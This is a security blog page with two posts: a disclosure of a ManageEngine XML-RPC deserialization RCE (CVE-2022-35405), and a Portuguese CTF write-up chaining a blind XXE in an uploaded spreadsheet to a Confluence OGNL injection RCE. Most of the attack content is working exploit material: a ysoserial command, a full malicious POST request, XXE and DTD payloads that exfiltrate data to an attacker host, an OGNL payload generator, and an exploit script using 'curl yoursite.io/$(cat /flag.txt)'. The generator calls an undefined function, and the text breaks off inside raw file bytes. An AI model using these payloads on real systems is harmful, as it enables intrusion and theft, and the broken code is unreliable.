There are new articles available, click to refresh the page.
Before yesterdaybig0us

CVE-2022-35405 Manage engines RCE (Password Manager Pro, PAM360 and Access Manager Plus)

6 September 2022 at 03:00

“This remote code execution vulnerability could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products.”

Product Name Affected Version(s)  
PAM360 5.5 (5500) and below  
Password Manager Pro 12.1 (12100) and below  
Access Manager Plus 4.3 (4302) and below (authenticated)

This vulnerability happens due to a vulnerable version of ApacheOfBiz (CVE-2020-9496) that exposes an XML-RPC endpoint at /webtools/control/xmlrpc in case of Manage Engine products this endpoint is /xmlrpc. This endpoint can deserealizes java objects, as part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands.

First this vulnerability was found in Password Manager Pro, however after the report and disclosure of the Security Fixes it was identified that the vulnerability also existed in PAM360 and Access Manager Plus installations.

On the PMP context, the RCE has nt authority/system permissions on the affected server and can be used to enter internal networks, compromise data on the server or crash or shutdown the whole server and applications.

More information about CVE-2020-9496 exploitation can be found here or here

Exploitation

For generate java serialized object payload, Ysoserial can be used: It is needed that the ysoserial tool library versions match the server org.apache.commons.beanutils version, if the versions don’t match: Failed to read result object: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962 (something like that) follow the instructions of this article to bypass that finding the exact server lib version by serialVersionUID and changing the pom.xml of ysoserial.

java -jar ysoserial-version.jar CommonsBeanutils1 'command' | base64 | tr -d "\n"

Untitled

Replace the [base64-payload] and send the request:

POST /xmlrpc HTTP/1.1
Host: host-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Untitled

Untitled

If the response was InvocationTargetException: java.lang.reflect.InvocationTargetException it worked, this exception was trigged after the execution of the payload.

I wrote an exploit to make it easier to explore and you can find it here: https://github.com/viniciuspereiras/CVE-2022-33405/

Extra

I’d like to thank the security community, although I can’t disclose vulnerability information, there were some researchers who managed to go after it and come up with a working poc, exploits and metasploit modules. If you want to take a look:

Nuclei template:

Coordinated Disclosure Timeline

  • 06/21/2022: Report sent to vendor.
  • 06/21/2022: Manage Engine acknowledges the issue.
  • 06/24/2022: Issue fixed Release note
  • 07/11/2022: CVE-2022-35405

CTF LatinoWare 2021 - Planilhas Baby

7 October 2021 at 03:00

Este challenge fez parte do CTF da Latinoware 2021 e o criador dele é o @manoelt.

Start

Untitled

Untitled

O desafio começa com essa página com um formulário de upload que aparentemente verifica arquivos “.xlsx” (excel).

Portanto vamos subir uma planilha qualquer para o site e ver o que acontece.

Untitled

Untitled

Depois de fazer o upload ele mostra o nome do arquivo e suas colunas. Após tentar algumas payloads de SSTI no nome e dentro das colunas e não obter suceso começei a pensar sobre do que é formado um arquivo xlsx, e fazendo umas pesquisas é possível notar que um arquivo xlsx é nada mais do que um compilado de arquivos xml.

Dando apenas um unzip em um arquivo xlsx vários arquivos são descompactados.

Untitled

Untitled

Quando vi esses arquivos fiquei pensando se não seria possível utilizar algumas payloads de XXE (XML External Entity).

Rapidamente encontrei alguns artigos falando sobre uma vulnerabilidade de XXE que um “interpretador” de xlsx em java possui.

https://www.4armed.com/blog/exploiting-xxe-with-excel/

Então comecei a testar algumas payloads.

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://jg315q2pvolex6xv5nvtaocgn7tyhn.burpcollaborator.net/"> ]>
<x>&xxe;</x>

Untitled

Untitled

E então depois de realizar o upload:

Untitled

Recebi o request da aplicação, mostrando que o XXE existe!! 😄

Nessa hora eu fiquei preso por muitas e muitas horas tentando diversas formas de exploração, isso que temos é um blind XXE isto é, não vemos a resposta do request, o que nos leva a testar uma técnica conhecida como blind XXE OOB, que consiste em hospedar um arquivo DTD (parecido com xml) contendo uma payload para que a aplicação carregue este arquivo. Mas NADA FUNCIONAVA.

Outro problema foi que eu e meus amigos estávamos tentando ler arquivos de dentro do servidor, porém nessa versão do Java, arquivos que contenham, um breakline (‘\n’) não conseguem ser passados como um argumento em uma requisição HTTP usando o nosso XXE, nenhum bypass para isso deu certo. Tentamos ler a flag, /etc/passwd, /etc/hosts, nenhum ia.

Então decidimos parar começar do 0, olhando as coisas de outra maneira.

Untitled

Então notamos que no HTML da página inicial continha um comentário deveras interessante.

Testando o host do desafio na porta 8090 não havia nada, portanto esse “link” é interno e provavelmente está na rede interna, em nossa payload de XXE podemos fazer requisições web, então a ideia é fazer requisições para o documentacao:8090 pelo nosso XXE.

A partir dai ja tinham se passado todos os minutos do campeonato e infelizmente não conseguimos terminar.

Porém, podemos continuar o write-up hehe.

Pesquisando sobre o que poderia ser essa aplicação rodando na porta 8090 caimos em algumas sugestões:

Untitled

Então procurando por vulnerabilidades nesses serviços chegamos em uma CVE bem recente,

CVE-2021-26084 que é um SSTI no confluence. Analisando os exploits dessa vulnerabilidade basicamente um usuário não autenticado poderia fazer requisições para o site, passando alguns parâmetros para conseguir RCE. Bom parece que é o que precisamos né?

Vamos verificar primeiro se é realmente um confluence que está rodando no site.

Exploitation

Para explorar esses requests eu primeiro comecei a usar a payload de blind XXE OOB que havia comentado.

No meu excel malicioso vai a payload xml dizendo para carregar o meu dtd malicioso:

Untitled

<!DOCTYPE ab [<!ELEMENT ab ANY ><!ENTITY % sp SYSTEM "http://seusite.io/bigous.dtd">%sp;%param1;]>
<ab>&exfil;</ab>

E no meu dtd, bigous.dtd:

<!ENTITY % data SYSTEM "http://documentacao:8090/johnson/static/css/main.css.map">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://seusite.io/?data=%data;'>">%

Essa payload significa que basicamente a aplicação vai pegar o que o http://documentacao:8090/johnson/static/css/main.css.map e enviar como um argumento para o meu link do burpcolaborator client. (‘johnson/static/css/main.css.map’ é um arquivo do confluence de uma linha para cerificar se o confluence existe está rodando 🙂).

PS: As tentativas de exploração que envolviam LFI foram usando este mesmo DTD mas trocando a url da entidade data por: “file:///etc/hostname”.

Então vamos compilar nosso XLSX, abrir um servidor para hospedar nosso DTD e fazer o upload :D

Para hospedar usei um simples server em flask:

from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def index():
    content = request.args.get('data') #apenqs para eu recer o quefor enviado no xxe
    print(content) ## e printar na tela
    return ':)'

@app.route("/bigous.dtd")
def dtd():
    return open('bigous.dtd').read() #mostrar o dtd malicioso nessa rota
app.run(host='0.0.0.0')

Depois de fazer o upload o request é feito com sucesso para nosso dtd, que por sua vez faz a aplicação fazer outro request sucedido e mandar a resposta para nosso servidor novamente.

Untitled

Ok, agora eu tinha certeza que era confluence. Hora de procurar os exploits para testar.

Quando fiz o upload do arquivo interceptei o request com o burp e usei a extensão: Copy As Python-Requests, para copiar a requisição para um script em python (dãr), assim eu consigo automatizar um pouco as coisas, ja que nosso arquivo xlsx vai ser sempre o mesmo.

Untitled

Fazendo uma busca por exploits, não encontrei muitos que fossem bons o suficiente para a minha situação, porém um exploit de um amigo me ajudou:

[GitHub - carlosevieira/CVE-2021-26084: CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection](https://github.com/carlosevieira/CVE-2021-26084)

Esse exploit basicamente pega um comando que o usuário passa, encoda ele na payload e manda para o servidor tudo certinho sem problemas de quebra.

Portando peguei o código dele e fiz umas alterações ja que só precisamos da payload:

O meu código para gerar as payloads ficou mais ou menos assim:

import sys

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload
	
cmd = sys.argv[1]
print(exploit(cmd))

Untitled

E parece funcionar.

Pelo o que li da vulnerabilidade existem várias “rotas” no confluence que aceitam parâmetros vulneráveis (escolhi o ‘queryString’) a SSTI, portando escolhi um aleatório para mandar a payload (‘pages/doenterpagevariables.action’).

Juntei o upload do xlsx com um script que coloca a payload no nosso arquivo DTD para fazer o exploit.

Segue o exploit:

(in same path of your dtd file)$ python3 exploit.py 'curl yoursite.io/$(cat /flag.txt)' 
import requests
import sys

def send_file():
	session = requests.session()

	burp0_url = "http://34.85.140.67:80/uploadFile"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://34.85.140.67", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryX8EzGd8nAoSVFtBe", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://34.85.140.67/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
	burp0_data = "------WebKitFormBoundaryX8EzGd8nAoSVFtBe\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exploit.xlsx\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\r\n\r\nPK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x1c\x00[Content_Types].xmlUT\t\x00\x030\xd0\xce\x12\x1e\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x94Mn\xc20\x10\x85\xf7\x95z\x87\xc8[\x94\x18\xba\xa8\xaa\x8a\xc0\xa2?\xcb\x16\xa9\xf4\x00n<!\x16\x8emy\x06\n\xb7\xef\xc4PTU\x94\xa8\x82M\xacx\xe6\xbd\xef\xd9\xd1d<\xdd\xb46[CD\xe3])F\xc5Pd\xe0*\xaf\x8d[\x94\xe2}\xfe\x9c\xdf\x89\x0cI9\xad\xacwP\x8a-\xa0\x98N\xae\xaf\xc6\xf3m\x00\xccX\xed\xb0\x14\rQ\xb8\x97\x12\xab\x06Z\x85\x85\x0f\xe0\xb8R\xfb\xd8*\xe2\xd7\xb8\x90AUK\xb5\x00y3\x1c\xde\xca\xca;\x02G9u\x1eb2~\x84Z\xad,eO\x1b\xde\xde%\x89`Qd\x0f\xbb\xc6\x8eU\n\x15\x825\x95\"\xae\xcb\xb5\xd3\xbf(\xf9\x9eP\xb02\xf5`c\x02\x0e\xb8A\xc8\xa3\x84\xae\xf27`\xaf{\xe5\xab\x89FC6S\x91^T\xcb]rc\xe5\xa7\x8f\xcb\x0f\xef\x97\xc5i\x93#)}]\x9b\n\xb4\xafV-K\n\x0c\x11\x94\xc6\x06\x80Z[\xa4\xb5h\x95q\x83~~jF\x99\x96\xd1\x85\x83\x1c\xfc{r\x10o\xd8=\xcf\x8f\x90lz\x80H[\x0bx\xe9kO\xa6}\xe4FE\xd0o\x14y2.\x1e\xe0\xa7\xf7\xa9\x1c\xac\x9fE\x1f\x90'(\xc2\xffC|\x8fH\xa7\xce\x03\x1bA$s\xfa\xe4\x07\"[\x9f}j\xe8\xa6O\x83>\xc2\x96\xe92\xf9\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x1c\x00_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x1c\x00_rels/.relsUT\t\x00\x030\xd0\xce\x12n\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x92\xcdj\xc30\x0c\x80\xef\x83\xbd\x83\xd1\xbdQ\xda\xc1\x18\xa3N/c\xd0\xdb\x18\xd9\x03h\xb6\xf2C\x12\xcb\xd8n\x97\xbe\xfd\xbc\xc3\xd8\x02]\xe9aG\xcb\xd2\xa7OB\xdb\xdd<\x8d\xea\xc8!\xf6\xe24\xac\x8b\x12\x14;#\xb6w\xad\x86\xb7\xfay\xf5\x00*&r\x96Fq\xac\xe1\xc4\x11v\xd5\xed\xcd\xf6\x95GJ\xb9(v\xbd\x8f*S\\\xd4\xd0\xa5\xe4\x1f\x11\xa3\xe9x\xa2X\x88g\x97\x1a\t\x13\xa5\xfc\x0c-z2\x03\xb5\x8c\x9b\xb2\xbc\xc7\xf0\x9b\x01\xd5\x82\xa9\xf6VC\xd8\xdb;P\xf5\xc9\xf35li\x9a\xde\xf0\x93\x98\xc3\xc4.\x9di\x81<'v\x96\xed\xca\x87\\\x1fR\x9f\xa7Q5\x85\x96\x93\x06+\xe6%\x87#\x92\xf7EF\x03\x9e7\xda\\o\xf4\xf7\xb48q\"K\x89\xd0H\xe0\xcb>_\x19\x97\x84\xd6\xff\xb9\xa2e\xc6\x8f\xcd<\xe2\x87\x84\xe1]d\xf8v\xc1\xc5\rT\x9fPK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00docProps/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x1c\x00docProps/app.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9dR\xc1N\xeb0\x10\xbc#\xf1\x0f\x91\xef\xd4\t<!T9F\xa8\x808<\xf4*\xb5\xe5\xbe8\x9b\xc6\xc2\xb1-{\x89Z\xbe\xfe9\xa9\x1aR\xe0\xc4mvv4\x99\xccZ\xdc\xeeZ\x93u\x18\xa2v\xb6d\xc5,g\x19Z\xe5*m\xb7%\xdb\xac\x1f/nX\x16\tl\x05\xc6Y,\xd9\x1e#\xbb\x95\xe7gb\x19\x9c\xc7@\x1ac\x96,l,YC\xe4\xe7\x9cG\xd5`\x0bq\x96\xd66mj\x17Z\xa04\x86-wu\xad\x15\xde;\xf5\xde\xa2%~\x99\xe7\xd7\x1cw\x84\xb6\xc2\xea\xc2\x8f\x86\xec\xe08\xef\xe8\xb7\xa6\x95S}\xbe\xf8\xb2\xde\xfb\xe4'\xc5\x9d\xf7F+\xa0\xf4\x97\xf2Y\xab\xe0\xa2\xab){\xd8)4\x82O\x97\"\x19\xadP\xbd\x07M{\x99\x0b>\x1d\xc5J\x81\xc1E2\x965\x98\x88\x82\x12\xe2\t\xa1/m\t:D):\x9aw\xa8\xc8\x85,\xea\x8fT\xdb%\xcb^!b\x1f\xa7d\x1d\x04\r\x96\xd8Av\x18\x06l|\xa4 \x97\x06\xac6\rD\xc1Gn\x80S\xe9\x14\xeb?\xb2\x18\x04\t\x9c\n\xf9\x98#\xe1\xd3\x84kM\x06\xe3\xbfz\t\x81~\x08\\L\x03\x0f\x19\xd8\x0f\x11\x8bo\x11\x8f\x1f\xfbb\xbfp\xad\x07\x9b*\xe4#\xfa\xab\xed[\xdc\xf8\xb5\xbb\x07\xc2c\xa1\xa7\xa4X5\x10\xb0J7\x18\x0b\x1f\t\xf1\x94\xa2\x05\xd3\xeb\x17\r\xd8-VG\xcd\xf7E\xfe\x97\xc3\x1b\x97\xc5\xf5,\xbf\xca\xf3\xe1\xeaGN\xf0\xcf\xd7,\xff\x03PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x1c\x00docProps/core.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x8d\x92]k\xc20\x14\x86\xef\x07\xfb\x0f%\xf7m\x9a\x8a\"\xa1\xad\xb0\r\xaf&\x0c\xe6\xd8\xd8]H\x8e\x1a\xd6|\x90D\xab\xff~i\xd5\xaa\xcc\x8b]\x86\xf7\xc9\x93\xf3\x1eR\xce\xf6\xaaIv\xe0\xbc4\xbaB$\xcbQ\x02\x9a\x1b!\xf5\xbaB\x1f\xcby:E\x89\x0fL\x0b\xd6\x18\r\x15:\x80G\xb3\xfa\xf1\xa1\xe4\x96r\xe3\xe0\xcd\x19\x0b.H\xf0I4iO\xb9\xad\xd0&\x04K1\xf6|\x03\x8a\xf9,\x12:\x86+\xe3\x14\x0b\xf1\xe8\xd6\xd82\xfe\xc3\xd6\x80\x8b<\x9f`\x05\x81\t\x16\x18\xee\x84\xa9\x1d\x8c\xe8\xa4\x14|P\xda\xadkz\x81\xe0\x18\x1aP\xa0\x83\xc7$#\xf8\xc2\x06p\xca\xdf\xbd\xd0'W\xa4\x92\xe1`\xe1.z\x0e\x07z\xef\xe5\x00\xb6m\x9b\xb5\xa3\x1e\x8d\xf3\x13\xfc\xb5x}\xef\xab\xa6Rw\xbb\xe2\x80\xeaRp\xca\x1d\xb0`\\\xbd\x93Zr\xb9\xf5Y\xec\x05\xd2\xb1\x12_\x85\xdd\"\x1b\xe6\xc3\"\xee|%A<\x1d\xee\xf0\x99\xf2T\xf4\xe8\x01\x91\xc4\x01\xe9\xb1\xce9\xf9\x1c=\xbf,\xe7\xa8.\xf2\x82\xa4$O\xc9xI&\xb4\x98\xd2q\xf1\xdd\x8dps\xff\"T\xa7G\xfem\x1c\xe7tD\xae\x8cgA\xdd\xcf}\xfbI\xea_PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x1c\x00xl/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x1c\x00xl/sharedStrings.xmlUT\t\x00\x030\xd0\xce\x12\x8e\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x005\xcdA\n\xc20\x10\x85\xe1\xbd\xe0\x1d\xc2\xec\\\xd8\xa9.DJ\x92.\x04O\xa0\x07\x08\xed\xd8\x06\x9aI\xedLEoo\\\xb8\xfcx<~\xdb\xbe\xd3d^\xb4H\xcc\xec\xe0P\xd5`\x88\xbb\xdcG\x1e\x1c\xdco\xd7\xfd\x19\x8ch\xe0>L\x99\xc9\xc1\x87\x04Z\xbf\xddX\x115\xe5\xcb\xe2`T\x9d\x1bD\xe9FJA\xaa<\x13\x97\xe5\x91\x97\x14\xb4p\x19P\xe6\x85B/#\x91\xa6\t\x8fu}\xc2\x14\"\x83\xe9\xf2\xcaZ\xba`V\x8e\xcf\x95.{+\xd1[\xf5\xcd\xce\xa2z\x8b?ai\xfa/PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x1c\x00xl/styles.xmlUT\t\x00\x030\xd0\xce\x12\x8f\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xa5\x95]o\xdb \x14\x86\xef'\xed? \xee]l7\xce\x92\xc8v\xb54\xb5T\xa9\x9b&%\x93vKl\x9c\xa0\xf2\x11\x01\xce\x9cM\xfb\xef;\xd8I\x9c\xa8\xd36\xb5W\xc0\xcb\xe19/\x1c\xb0\xd3\xbbV\n\xb4g\xc6r\xad2\x1c\xdd\x84\x181U\xea\x8a\xabM\x86\xbf\xae\x8a`\x82\x91uTUTh\xc52|`\x16\xdf\xe5\xef\xdf\xa5\xd6\x1d\x04[n\x19s\x08\x10\xcafx\xeb\xdcnF\x88-\xb7LR{\xa3wL\xc1L\xad\x8d\xa4\x0e\x86fC\xec\xce0ZY\xbfH\n\x12\x87\xe1\x98H\xca\x15\xee\t3Y\xfe\x0fDR\xf3\xdc\xec\x82R\xcb\x1du|\xcd\x05w\x87\x8e\x85\x91,g\x8f\x1b\xa5\r]\x0b\xb0\xdaF#Z\xa26\x1a\x9b\x18\xb5\xe6\x94\xa4S_\xe4\x91\xbc4\xda\xea\xda\xdd\x00\x97\xe8\xba\xe6%{iwJ\xa6\x84\x96\x03\t\xc8\xaf#E\t\t\xe3\xab\xbd\xb7\xe6\x95\xa4\x111l\xcf}\xf9p\x9e\xd6Z9\x8bJ\xdd(\x07\xc5\x04\xb6\xdf\xec\xecY\xe9\xef\xaa\xf0S^\xec\xa3\xf2\xd4\xfe@{*@\x890\xc9\xd3R\x0bm\x90\x83\xcc\xcc\x07\x81\xa2\xa8d}\xc4=\x15|m\xb8\x17k*\xb98\xf4r\xec\x85\xce\xec1Nr8{/\x92>C\xd7XX\xc4\x858\xbb\x8aq/\xe4)\x94\xcf1\xa3\n\x18\xa0cu\xd8Az\x057\xad\xc7tq\xff\x88\xde\x18z\x88\xe2\xe4bA\xd7@\xde\xb56\x15\xdc\xec\xe1<NR\x9e\nV;X`\xf8f\xeb[\xa7w\xc4O:\x07'\x9d\xa7\x15\xa7\x1b\xad\xa8\xf0\xc8\xd3\x8ac\x07\xb0%\x13b\xe9o\xff\xb7\xfa\x8a\xdd\xd6H5\xb2\x90\xee\xb1\xca0\xbc#\xbf\xfbS\x17\x0c\x1d\xbb=\xa6\x1fx\xfe%\xadg\xbf\x19\x8b\xda\xfa\x9aFw\x89\xae\xe8g\x15\xf9zg\xf8\xb3[email protected]\xa0u\xc3\x85\xe3\xea\x0f\x86\x81Y\xb5\x83\xd7n\xd6\xf9\xa7w\x9d\x05\x18\x15\xabi#\xdc\xea<\x99\xe1\xa1\xff\x89U\xbc\x91\xf19\xea\x0b\xdfkw\x8c\x1a\xfaO\xbeR\xd1\xd8\xe7`\xad{\xb2\xaekQcx\x86>\xcc?L\x17\x0fE\x1cL\xc2\xf9$\x18\xdd\xb2$\x98&\xf3E\x90\x8c\xee\xe7\x8bE1\r\xe3\xf0\xfe\xd7\xc5\x07\xe0\r\xcf\xbf{\xb3P\x94h4\xb3\x02\xa2\xccq\xb3G\xf3\xcbA\xcb\xf0\xc5\xa0\xb7\xdf\x9d\x1f\xd8\xbe\xf4>\x8d\xc7\xe1\xc7$\n\x83\xe26\x8c\x82\xd1\x98N\x82\xc9\xf86\t\x8a$\x8a\x17\xe3\xd1\xfc!)\x92\x0b\xef\xc9+?\x13!\x89\xa2\xc1|2s\\2\xc1\x15\xbb\xb6\xbf\xbaT\xa1H0\xfc\xcb&\xc8\xa9\x12d\xf8\x19\xe4\xbf\x01PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/theme/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x1c\x00xl/theme/theme1.xmlUT\t\x00\x030\xd0\xce\x12\x8d\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xedY\xcd\x8b\x1b7\x14\xbf\x17\xfa?\x88\xb9;3\xb6g\xfc\x11\xe2\x04{l\xe7k7Y\xb2NJ\x8e\xda\xb1\xecQ\xac\x19\x19I\xde]\x13\x02%9\xf5R(\xa4\xa5\x97Bo=\x94\xd2@\x03\r\xbd\xf4\x8f\t$\xb4\xe9\x1f\xd173\xfe\x18\xd9\x9a$\x9blBJ\xd7\x0b\xf6H\xfa\xbd\xa7\x9f\xde{zz\xab\xb9p\xe98b\xe8\x90\x08Iy\xdc\xb2\xca\xe7\x1c\x0b\x918\xe0C\x1a\x8f[\xd6\xedA\xbf\xd4\xb0\x90T8\x1eb\xc6c\xd2\xb2\xe6DZ\x97.~\xfe\xd9\x05|^\x85$\"\x08\xe4cy\x1e\xb7\xacP\xa9\xe9y\xdb\x96\x01tcy\x8eOI\x0cc#.\"\xac\xa0)\xc6\xf6P\xe0#\xd0\x1b1\xbb\xe285;\xc24\xb6P\x8c#P;\x00\x194\xe4\xe8\xe6hD\x03b]\\\xaa\xef1\xf8\x8a\x95L:\x02&\xf6\x83t\xceL&\x87\x1dN\xca\xc9\x8f\x9cK\x9f\tt\x88Y\xcb\x82\x99\x86\xfc[email protected]\x8e\x95\x85\x18\x96\n\x06Z\x96\x93~,\xfb\xe2\x05\xc4T\x81lN\xae\x9f~\x16r\x0b\x81\xe1\xa4\x92\xca\x89\xf1\xc1J\xd0u=\xb7\xd6^\xe9\xafd\xfa\xb7q\xbdz\xaf\xd6\xab\xad\xf4\xa5\x00\x1c\x04\xb0\xd2\xb2Ag\xbd\xe2\xbb\x0bl\x0e\x94=\x1atw\xeb\xddjY\xc3\xe7\xf4W\xb7\xf0m/\xf9\xd3\xf0\xd55\xde\xdd\xc2\xf7\xfb\xfe\xda\x869P\xf6\xe8m\xe1\xbdN\xb3\xd3\xd5\xf5{k|m\x0b_w\xda]\xb7\xae\xe1SP\xc8h<\xd9B;^\xad\xea/W\xbb\x82\x8c8\xbbb\x847=\xb7_\xaf,\xe0k\x94\x9d\x8b\xaeL>VE\xb1\x16\xe1{\\\xf4\x01\x90:\x17+\x1a#5\x9f\x92\x11\x0e\x00\xe7cF\x0f\x04E;t\x1cB\xe0Mq\xcc%t;\x15\xa7\xefT\xe1;\xf9s\xd3\xa7\xd4\xa3\xf8<\xc19\xe9\xac+\x90[]\t\x1f$\x03A\xa7\xaae]\x03\xadV\x0e\xf2\xe2\xd9\xb3\xe7\x0f\x9f>\xf8\xfb\xf3G\x8f\x9e?\xfcu1\xf7\xb6\xdc\x15\x1c\x8f\xf3r\xaf~\xfa\xe6\x9f\x1f\xbeD\xff\xf6\xe3\xab\xc7\xdf\x9a\xf12\x8f\xf9\xcbW/\xff\xf8\xf3u\xea\x95F\xeb\xbb'/\x9f>y\xf1\xfd\xd7\xfd\xfc\xd8\x00o\x0b|\x90\x87\x0fhD$\xbaA\x8e\xd0-\x1e\xc1\x02\r\x13\x90\x03q2\x89A\x88\xa9&\x81[email protected]\x1a\x80=\x15j\xc0\x1bs\xccL\xb8\x0e\xd1[email protected]\xa60\x01/\xcf\xeei\\\xf7C1S\xd4\x00\xbc\x1eF\x1ap\x97s\xd6\xe1\xc2\xb8\x9c\xeb\xc9\\\xf9\xe5\xcc\xe2\xb1yr1\xcb\xe3na|h\x9a\xdb\xdfppo6\x85\x90\xa7&\x95~H4\x9a{\x0c\xbc\x8d\xc7$&\n%c|B\x88A\xec.\xa5\x9a]wi \xb8\xe4#\x85\xeeR\xd4\xc1\xd4h\x92\x01=Pf\xa1+4\x02\xbf\xccM\x04\xc1\xd5\x9amv\xef\xa0\x0eg&\xf5]r\xa8#a[`fRI\x98f\xc6\xcbx\xa6pdd\x8c#\x96G\xee`\x15\x9aH\xee\xcfE\xa0\x19\\*\xf0\xf4\x980\x8ezC\"\xa5I\xe6\xa6\x98kt\xafC\x861\xbb}\x97\xcd#\x1d)\x14\x9d\x98\x90;\x98\xf3<\xb2\xcb'~\x88\xa3\xa9\x913\x8d\xc3<\xf6\xaa\x9c@\x88b\xb4\xc7\x95\x91\x04\xd7wH\xd2\x06?\xe0\xb8\xd0\xddw(Q'\xdb\xd6\xb7!\x03\x99\x03$\x19\x99\t\xd3\x96 \\\xdf\x8fs6\xc2\xc4\xa4\xbc-\"-\xbb\xb6\x055FGg6\xd6B{\x87\x10\x86\x8f\xf0\x90\x10t\xfb\xaa\t\xcf\xa7\xdcL\xfaZ\x08Y\xe5\n1\xd9\xe6\x1a\xd6c5i\xc7D\x12\x94\xd65\x06\xc7R\xa9\x85\xec>\x19\xf3\x02>\xbb\xf3\x8d\xc43\xc7q\x84E\x91\xe6\x1b\x13=dzp\xca\x19S\xe9M\x16L\xb4TJE\xb2i\xcd$n\xca\x08\xbf\x95\xd6\xbd\x10ka\x95\xb4\xa59^\xe7\">\xe9\x1e\x03\x99{\xef 